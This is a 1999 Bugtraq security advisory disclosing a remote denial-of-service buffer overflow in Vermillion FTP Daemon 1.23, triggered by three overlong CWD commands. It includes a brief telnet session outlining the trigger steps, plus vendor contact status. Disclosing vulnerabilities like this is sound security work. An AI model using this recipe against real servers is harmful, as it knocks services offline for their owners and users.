Bugtraq mailing list archives

Remote DoS Attack in Vermillion FTP Daemon (VFTPD) v1.23 Vulnerability


From: labs () USSRBACK COM (Ussr Labs)
Date: Mon, 22 Nov 1999 10:08:39 -0300


Remote DoS Attack in Vermillion FTP Daemon (VFTPD) v1.23 Vulnerability

PROBLEM

UssrLabs found a Local/Remote DoS Attack in Vermillion FTP Daemon (VFTPD)
v1.23,
The buffer overflow is caused by a 3 times long cwd, 504 characters,

Example:
[[gimmemore@itsme]$ telnet example.com 21
Trying example.com...
Connected to example.com.
Escape character is '^]'.
220 itsme FTP Server (vftpd 1.23) ready.
USER itsme
PASS ******
CWD (buffer)
CWD (buffer)
CWD (buffer)

Overflow.

For the source / binary of this remote / local D.O.S

Vendor Status:

Contacted

vendor: ARCANE SOFTWARE

Vendor   Url:  http://www.arcanesoft.com/
Program Url: http://www.arcanesoft.com/files/vftpd123.exe

Credit: USSRLABS

SOLUTION
    Nothing yet.

u n d e r g r o u n d  s e c u r i t y  s y s t e m s  r e s e a r c h
http://www.ussrback.com


Current thread: